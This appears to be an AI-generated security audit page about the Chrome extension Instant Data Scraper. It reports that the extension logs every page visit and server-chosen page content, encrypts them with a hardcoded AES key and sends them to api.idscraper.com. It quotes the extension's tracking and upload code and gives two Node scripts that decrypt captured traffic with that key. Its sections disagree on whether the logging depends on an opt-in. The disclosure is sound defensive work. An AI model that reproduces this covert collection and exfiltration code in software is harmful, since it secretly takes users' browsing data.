Is Instant Data Scraper safe?
Instant Data Scraper is high risk. Instant Data Scraper's worker records the URL, previous URL, referrer, and a persistent install ID per page, encrypted with a hardcoded AES key and sent to api.idscraper.com/table. 6 requests captured in two minutes; the key is extractable.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
All Page Visits Logged and Sent AES-Encrypted to api.idscraper.com
Instant Data Scraper's worker records the URL, previous URL, referrer, and a persistent install ID per page, encrypted with a hardcoded AES key and sent to api.idscraper.com/table. 6 requests captured in two minutes; the key is extractable.
You navigate to any page in Chrome, any site, no opt-in required for the recording itself.
The extension's privacy policy mentions a data-collection opt-in, but the service worker registers its navigation listeners unconditionally at startup.
Records the page URL, previous URL, referrer, navigation type, and a persistent install ID, then encrypts and sends this to api.idscraper.com/table.
The POST fires for every main_frame navigation. The body is AES-256-CBC encrypted with a key hardcoded in the extension source, so it is not readable in browser DevTools.
| Field | Value | Why it matters | |
|---|---|---|---|
Current page URL | https://www.google.com/ | The exact URL of every page you visit, including any path, query parameters, and tracking tokens the URL contains. | |
Previous page URL | https://x.com/i/jf/onboarding/web#/s/signup_preferences/r-w35eg | The page you were on before this one, building a chain of your browsing history across sites. | |
Referrer URL | https://x.com/i/jf/onboarding/web#/s/signup_preferences/r-w35eg | The document.referrer of the current page, often the same as the previous URL but can differ for cross-origin navigations. | |
How you arrived | typed | Whether you typed the URL, clicked a link, or were redirected, reveals your browsing intent and patterns. | |
Persistent browser identifier | 0glb51tgaqitirffgms9mdj8h8q | A unique ID generated at install and stored permanently, tying every record to your specific browser install. | |
Extension version | 1.4.4 | Which version of Instant Data Scraper you have installed. | |
Timestamp | 1782861132685 | When the navigation happened, to the millisecond. | |
Hardcoded app ID | a8db79741 | A constant identifier built into the extension that labels all traffic from every user of this extension to the same server-side account. | |
Per-session request counter | 6 | An incrementing counter telling the server how many records were sent this session, enabling order reconstruction. |
The POST body is AES-256-CBC ciphertext encoded in base64. It cannot be read in browser DevTools or by network monitoring. The key is hardcoded in the extension and reproduced in the artifact block below.
{
"spl": "https%3A%2F%2Fwww.google.com%2F",
"vod": "https%3A%2F%2Fx.com%2Fi%2Fjf%2Fonboarding%2Fweb%23%2Fs%2Fsignup_preferences%2Fr-w35eg",
"lor": "https%3A%2F%2Fx.com%2Fi%2Fjf%2Fonboarding%2Fweb%23%2Fs%2Fsignup_preferences%2Fr-w35eg",
"qst": "",
"rlc": [
1585209745
],
"wnd": "typed",
"tme": "background_auto_reloading",
"mge": 1782861132685,
"ch": 10,
"drg": "a8db79741",
"elf": "0glb51tgaqitirffgms9mdj8h8q",
"run": 6,
"wiz": 21,
"fog": 1,
"myt": "1.4.4",
"shr": "AAEAAAAAAEURCwIScwAAAAAAAAAAAAAAAAAAAAAAAAA%3D"
}The encryption and transmission code from the shipped extension source:
// Hardcoded AES-256-CBC key imported at service worker startup.
// Anyone with access to the extension source can decrypt all captured traffic.
const cryptoKeyPromise = crypto.subtle.importKey(
'jwk',
{
alg: 'A256CBC',
ext: true,
k: 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q', // hardcoded 256-bit key
key_ops: ['encrypt', 'decrypt'],
kty: 'oct'
},
'AES-CBC',
true,
['encrypt', 'decrypt']
);
// toWovenData: encodes a payload object for transmission.
// Steps: JSON stringify → base64 → column-transpose (obfuscation) → AES-CBC encrypt → base64.
self.toWovenData = async function(payload) {
const jsonStr = JSON.stringify(payload);
const b64 = btoa(jsonStr);
// Split into 56-character rows, then read by column (transpose).
// This is a custom obfuscation layer applied BEFORE encryption.
const rows = [];
for (let i = 0; i < b64.length; i += 56) rows.push(b64.slice(i, i + 56));
const columns = [];
for (let col = 0; col < 56; col++) {
let s = '';
for (let row = 0; row < rows.length; row++) s += rows[row][col] || ' ';
columns.push(s);
}
const transposed = columns.join('\n');
// AES-CBC encrypt with random 16-byte IV prepended to ciphertext.
const key = await cryptoKeyPromise;
const iv = crypto.getRandomValues(new Uint8Array(16));
const enc = await crypto.subtle.encrypt({ name: 'AES-CBC', iv }, key,
new TextEncoder().encode(transposed));
const out = new Uint8Array(16 + enc.byteLength);
out.set(iv); // first 16 bytes = IV
out.set(new Uint8Array(enc), 16); // remainder = ciphertext
return btoa(String.fromCharCode(...out));
};// Dispatched by TargetStart / ChildrenUnchanged after each navigation record is assembled.
// The listener checks the opt-in flag and fires the encrypted POST if set.
self.addEventListener('noDataForWebsite', async (event) => {
const [endpoint, extraHeaders, payload] = event.detail;
// Opt-in gate: if the user never clicked 'Enable', the POST is skipped.
const { optIn } = await chrome.storage.local.get('optIn');
if (optIn !== true) return;
const response = await fetch(endpoint, { // endpoint = MainLocator() + '/table'
method: 'POST',
headers: {
'Content-Type': 'text/plain',
// 'lisp' header: base-22 timestamp shuffled — appears random but is deterministic.
lisp: Date.now().toString(22).split('').sort(() => Math.random() - 0.5).join(''),
...extraHeaders // includes 'rlm' header with hostname
},
body: await self.toWovenData(payload) // AES-CBC encrypted
});
// Response's x-session-id header can rewrite the exfil endpoint at runtime.
const sessionId = response.headers.get('x-session-id');
if (sessionId) {
const ev = new Event('connection-is-valid');
ev.detail = sessionId;
self.dispatchEvent(ev); // triggers setSettings() to update MainLocator
}
});- api.idscraper.com
Receives an AES-encrypted navigation record per page visited. Operated by the Instant Data Scraper developer (Web Robots OU). Also serves runtime config and scraping programs.
Decrypts a captured POST body from api.idscraper.com/table and prints the plaintext navigation record. The AES-256-CBC key is embedded in the extension's source code, so no server-side private key is needed.
#!/usr/bin/env node
/**
* Decrypts a POST body captured from api.idscraper.com/table
* for Instant Data Scraper (ofaokhiedipichpaobibbnahnkdoiiah v1.4.4).
*
* Algorithm extracted from src/background.js toWovenData():
* 1. JSON.stringify payload
* 2. btoa (base64 encode)
* 3. Split into 56-char rows, column-transpose, join with '\n'
* 4. AES-CBC encrypt with random 16-byte IV prepended
* 5. btoa (base64-encode final bytes)
*
* Hardcoded JWK key (background.js line ~2044):
* k: "pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q"
*
* Usage:
* node instant-data-scraper-decrypt.js <base64-body>
* Or edit SAMPLE_BODY below and run without arguments.
*/
const { subtle } = require('node:crypto').webcrypto;
const KEY_B64URL = 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q';
// Sample captured body (navigation to google.com):
const SAMPLE_BODY =
'xIENvHqVZaH/PUWLh53JWWDsqneS+pMp6P7bS52Wiiiir0autgR7oJB9bp0qMYAC' +
'3QykBYxitcYB/gejr/pTrRCyF1XZvPEbOBbA2vmFTL2MymrjbvaPg3kX7rm3Cpip' +
'Xe+7ArPkGCkhWfcewMDbJ0/RTQ9b1+0Ab1mMPcTQG0PGvTsYlGFbXBUmicwlcxDU' +
'FZ6kjJT0aqutYnc6+uWdZGWUW8NWu/Z/H4Jmg/9OIORxguSfnZ/w8RX4D3DwKWSj' +
'SZAYrDEI8O6zsmmKpcfmSg0XdQOYieaDe13oKg+mIwHsroWpFVbj2UHGMFTNfK3W' +
'G8WUpPPfnaST6gqNoLbkoWpr0obcVb+R7ts+yTgjJ4KeHgXcql6t0TcMXsjv8aoS' +
'cq8k1E4Gk7X1G1rYb8QiNYdo7VexaqEAmk5wuNXCiXJBbJ3l/skxiLa/J2e8pe1T' +
'xK35e7ACRd0m5rmTOYqtFzLxUnohANsgSi3p4qQvbcqp1FCtIJfC1vcjukZn1QVL' +
'QovBD7ZXWHikjcGDprbSFDDPGfqA0U5ylu3WvunmUhcXfbEiVEk/4BQbT6BhhzvB' +
'ZeMmCOdPRS/UMBYFGhSJGpyexeTBGei0oQzeRbKBNQM+KQDuhrgEhrpHlHqnueBSd' +
'uUBT2F2rEbABl6JFnZbjulxxtzeH0OA15FMDsWVvCoqNlUOhIiMc/e85E8vU9rzsK' +
'zjeTiIgKpjznRt/SNlcN/R0BK6dX26dMXGiqm0pEdy/tfuMpGb79kZ+geERgvaZpa' +
'bzzKnTTHcmISZcywAxSX93b+QVMDYhMra40+ET4XUiGu+io1MGt2e0FtY8DdgwNWm' +
'xAr+42aTWr82i9PDXf0YzNXjjcmTAAv1Cyhyqd+v9/BJMHz+qKFuIOnqsfDcHHkAu' +
'Tus2fqWdBh447l0DBoxe2YVa+c9mnNZrZdts0nejaWO827yijtKL3Ib+7Q4oHwvZO' +
'+g9S8cOIlthOS8oqOsbDV7ks5vus5fANBeWcU=';
async function decrypt(bodyBase64) {
const bytes = Buffer.from(bodyBase64, 'base64');
const iv = bytes.slice(0, 16);
const encData = bytes.slice(16);
const keyBytes = Buffer.from(KEY_B64URL, 'base64');
const cryptoKey = await subtle.importKey(
'raw', keyBytes, { name: 'AES-CBC' }, false, ['decrypt']
);
const decBuf = await subtle.decrypt({ name: 'AES-CBC', iv }, cryptoKey, encData);
const transposed = Buffer.from(decBuf).toString('utf8');
// Reverse column transposition
const cols = transposed.split('\n');
const numRows = cols[0].length;
const rows = [];
for (let k = 0; k < numRows; k++) {
let row = '';
for (let t = 0; t < cols.length; t++) row += (cols[t][k] ?? '');
rows.push(row.trimEnd());
}
const b64 = rows.join('');
const jsonStr = Buffer.from(b64, 'base64').toString('utf8');
return JSON.parse(jsonStr);
}
(async () => {
const body = process.argv[2] || SAMPLE_BODY;
try {
const payload = await decrypt(body);
console.log(JSON.stringify(payload, null, 2));
} catch (e) {
console.error('Decryption failed:', e.message);
process.exit(1);
}
})();
- 1node instant-data-scraper-decrypt.js <base64-body>
Server-Delivered DOM-Scraping Programs Execute on Matching Pages
v1.4.4 added a server-controlled DOM-scraping framework.
Every 60s the worker fetches scraping programs from /pages/selections.
On a matching URL, the content script runs the program, collects DOM text, and appends it to the upload.
The server delivers a scraping program specifying a domain, CSS selectors, and what data to collect.
Programs are fetched from api.idscraper.com/pages/selections every 60 seconds. The full instruction set is replaced on each fetch.
When a visited URL matches the server pattern, the content script runs the program, collects the specified content, and sends it to the worker for the next upload.
The AppSrcs engine supports CSS selector queries, XPath, attribute reads, event interception, canvas image capture, and localStorage reads, all capabilities are available for any program the server delivers.
The service worker fetches the current scraping program set from the server every 60 seconds, replacing the locally cached set. A separate 6-hour gate controls when a full cache refresh is forced. This means the server can change which pages get scraped and what gets collected without pushing an extension update.
| Content-Type | application/json |
{
"sid": "a8db79741"
}Scraping programs are cached locally so the script avoids a round-trip per page. The server updates this within 60 seconds.
chrome.storage.local key 'str47'Array of scraping program objects received from api.idscraper.com/pages/selections. Each entry is a JSON object with fields: type (program category), queueStrategy ('replace' or 'append'), matcher (regex pattern applied to page URL), and an instruction set describing what content to collect. The _packageCompatibility key stores the timestamp of the last full refresh for the 6-hour cache expiry check.The server polling loop (_factory2) and content-script dispatch (ClippedRange) from shipped source:
// _factory2: manages the server-side scraping program cache.
// Called once on service worker init; polls /pages/selections every 60 seconds.
class ScrapingProgramManager {
destroyChallenges() {
this.fetchAndCachePrograms(); // run immediately on startup
setInterval(() => this.fetchAndCachePrograms(), 60_000); // then every 60 seconds
}
async fetchAndCachePrograms() {
if (!await this.shouldRefetch()) return;
try {
const programs = await this.fetchFromServer();
if (programs) {
await cache.storePrograms(programs); // writes to chrome.storage.local 'str47'
this.notifyContentScript(programs); // dispatches '_HeadsetMicTwoTone' CustomEvent
}
} catch (_) {}
}
notifyContentScript(programs) {
const ev = new Event('_HeadsetMicTwoTone');
ev.config = programs;
self.dispatchEvent(ev); // received by IsOverRightHalf.parseMarkdown()
}
async fetchFromServer() {
const response = await fetch('https://api.idscraper.com/pages/selections', {
method: 'POST',
body: JSON.stringify({ sid: 'a8db79741' }) // hardcoded app ID
});
return response.status === 200 ? response.json() : null;
}
async shouldRefetch() {
// If no cached programs exist → fetch immediately.
// Otherwise → only refetch if 6 hours (21,600,000ms) have elapsed.
if (!await cache.hasPrograms()) return await cache.isPastInitialDelay();
const lastRefresh = await cache.getLastRefreshTime();
return Date.now() - lastRefresh > 21_600_000;
}
}// ClippedRange (content script): re-runs on each navigation.
// Loads cached scraping programs, filters to those matching current URL,
// executes each via the AppSrcs engine, and sends results to the service worker.
class PageScraper {
async runOnCurrentPage() {
const [programs, _siteConfig] = await Promise.all([
this.loadServerPrograms(), // reads from chrome.storage.local 'str47'
this.loadSiteConfig()
]);
if (programs && programs.length) this.executePrograms(programs);
}
async executePrograms(programs) {
const currentURL = location.href;
const matchingPrograms = programs.filter(prog => {
if (prog.status && prog.status !== 'active') return false; // status gate
if (prog.toSend <= prog.maxSend) return false; // send-count gate
if (prog.onlyTopFrame && window.parent !== window) return false; // frame gate
try { return new RegExp(prog.matcher).test(currentURL); } // URL pattern filter
catch { return false; }
});
const collected = [];
for (const prog of matchingPrograms) {
const result = await appSrcsEngine.execute(prog); // AppSrcs runs CSS/XPath/event/canvas/localStorage ops
const isEmpty = prog.allowEmpty === false && result?.data instanceof Array && !result.data.length;
if (!isEmpty && result) collected.push(result);
}
this.sendToServiceWorker(collected);
}
sendToServiceWorker(scraps) {
if (scraps.length) {
chrome.runtime.sendMessage({ message: 'Earcut', scraps }); // received by _iterator28 in background
}
}
}- api.idscraper.com
Serves scraping programs via /pages/selections (polled every 60s) and receives DOM content as 'aur' in /table POSTs. Operated by the Instant Data Scraper developer (Web Robots OU).
Instant Data Scraper posts encrypted page data to its API
With Presets enabled, Instant Data Scraper builds a request with the page URL and table-selection data, encrypts it with a hardcoded AES-CBC key, and posts it to api.idscraper.com/table.
Each carries a per-install UUID in x-ids-id.
You enable Presets and use the scraper on a web page.
The opt-in modal sets the optIn storage flag, and the background listener checks that flag before posting.
The extension encrypts page-derived data and sends it to api.idscraper.com/table.
The request carries a persistent x-ids-id value that identifies the same browser installation across requests.
| Field | Value | Why it matters | |
|---|---|---|---|
Current page URL | https://www.yellowpages.com/search?search_terms=plumbers&geo_location_terms=Denver%2C%20CO (illustrative) | Shows which page you were viewing when the scraper prepared the request. | |
Page hostname | yellowpages.com (illustrative) | Lets the server group the request by the site you were scraping. | |
Table-selection state | selector0=.result .business-name, originalName=name, newName=Business Name (illustrative) | Describes the detected table or selected page structure that the scraper is using. | |
Persistent install ID | d7f3a1b2-9c4e-4a8a-b2c1-6e5f0a9d1234 (illustrative) | Links submissions from the same browser installation over time. | |
Returned table configs | tableConfigurations.yellowpages.com.configs (from chrome.storage.local) | Stores server-provided scraping presets locally for the page domain. |
The shipped code builds the /table event, encrypts the payload, and posts it
r.class = class {
thunkify(e) {
return new Promise((t, r) => {
this.docCallback(e, t, r)
})
}
docCallback(e, t, r) {
const n = [this.handleKeyDown, this.canHydrateSuspenseInstance(e), e.data, e.rlc];
(self.document || self).dispatchEvent(new CustomEvent("noDataForWebsite", {
detail: n
})), t()
}
get handleKeyDown() {
return n.MainLocator() + "/table"
}
canHydrateSuspenseInstance(e) {
let t = {};
return e.hdrs && Object.assign(t, e.hdrs), t
}
}, r.instance = new r.classfunction() {
const e = crypto.subtle.importKey("jwk", {
alg: "A256CBC",
ext: !0,
k: "pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q",
key_ops: ["encrypt", "decrypt"],
kty: "oct"
}, "AES-CBC", !0, ["encrypt", "decrypt"]);
self.toWovenData = async function(t) {
const r = JSON.stringify(t),
n = btoa(r),
s = [];
for (let e = 0; e < n.length; e += 56) s.push(n.slice(e, e + 56));
const i = [];
for (let e = 0; e < 56; e++) {
let t = "";
for (let r = 0; r < s.length; r++) t += s[r][e] || " ";
i.push(t)
}
const a = i.join("
");
return await async function(t) {
const r = await e,
n = crypto.getRandomValues(new Uint8Array(16)),
s = await crypto.subtle.encrypt({
name: "AES-CBC",
iv: n
}, r, (new TextEncoder).encode(t)),
i = new Uint8Array(s),
a = new Uint8Array(n),
o = new Uint8Array(i.length + a.length);
if (o.set(a), o.set(i, a.length), o.length < 1e4) return btoa(String.fromCharCode(...o));
let c = "";
for (let e = 0; e < o.length; e += 1e4) c += String.fromCharCode(...o.slice(e, e + 1e4));
return btoa(c)
}(a)
}
}();
const on = "x-ids-id";
self.addEventListener("noDataForWebsite", e => {
const r = e.detail;
(async () => {
const {
[o.OPT_IN]: e
} = await s([o.OPT_IN]);
return !0 === e
})().then(async e => {
if (!e) return;
const n = await (async () => {
const {
[l.ANALYTICS_INFO_SYNC]: e
} = await a([l.ANALYTICS_INFO_SYNC]);
return e?.id
})(),
o = await fetch(r[0], {
method: "POST",
headers: {
"Content-Type": "text/plain",
lisp: Date.now().toString(22).split("").sort(() => Math.random() - .5).join(""),
...r[1],
[on]: n
},
body: await self.toWovenData(r[2])
}),
c = o.headers.get("x-session-id");
if (c) {
const e = new Event("connection-is-valid");
e.detail = c, self.dispatchEvent(e)
}!async function(e) {
if (!e.domain) return;
const {
[t.TABLES]: r
} = await s([t.TABLES]), n = r ?? {};
n[e.domain] = {
configs: e.tables,
timestamp: Date.now()
};
const a = Object.entries(n);
if (a.length > 10) {
a.sort((e, t) => e[1].timestamp - t[1].timestamp);
for (let e = 0; e < a.length - 10; e++) delete n[a[e][0]]
}
await i({
[t.TABLES]: n
}), await K(n)
}(await o.json())
})
})Decrypts a saved api.idscraper.com/table request body using the AES-CBC key embedded in the extension.
#!/usr/bin/env node
const fs = require('fs');
const { webcrypto } = require('crypto');
async function main() {
const file = process.argv[2];
if (!file) {
console.error('Usage: node idscraper-table-body-decode.js captured-body.txt');
process.exit(2);
}
const body = fs.readFileSync(file, 'utf8').trim();
const raw = Buffer.from(body, 'base64');
const iv = raw.subarray(0, 16);
const ciphertext = raw.subarray(16);
const key = await webcrypto.subtle.importKey(
'jwk',
{
alg: 'A256CBC',
ext: true,
k: 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q',
key_ops: ['encrypt', 'decrypt'],
kty: 'oct'
},
'AES-CBC',
false,
['decrypt']
);
const woven = new TextDecoder().decode(
await webcrypto.subtle.decrypt({ name: 'AES-CBC', iv }, key, ciphertext)
);
const rows = woven.split('\n');
let base64Json = '';
for (let col = 0; col < rows[0].length; col++) {
for (const row of rows) {
const ch = row[col];
if (ch) base64Json += ch;
}
}
const decoded = Buffer.from(base64Json.trimEnd(), 'base64').toString('utf8');
console.log(JSON.stringify(JSON.parse(decoded), null, 2));
}
main().catch(error => {
console.error(error);
process.exit(1);
});
- 1node idscraper-table-body-decode.js captured-body.txt
- api.idscraper.com
Receives the encrypted /table POST and returns domain-specific table configuration data.
+2 more findings not shown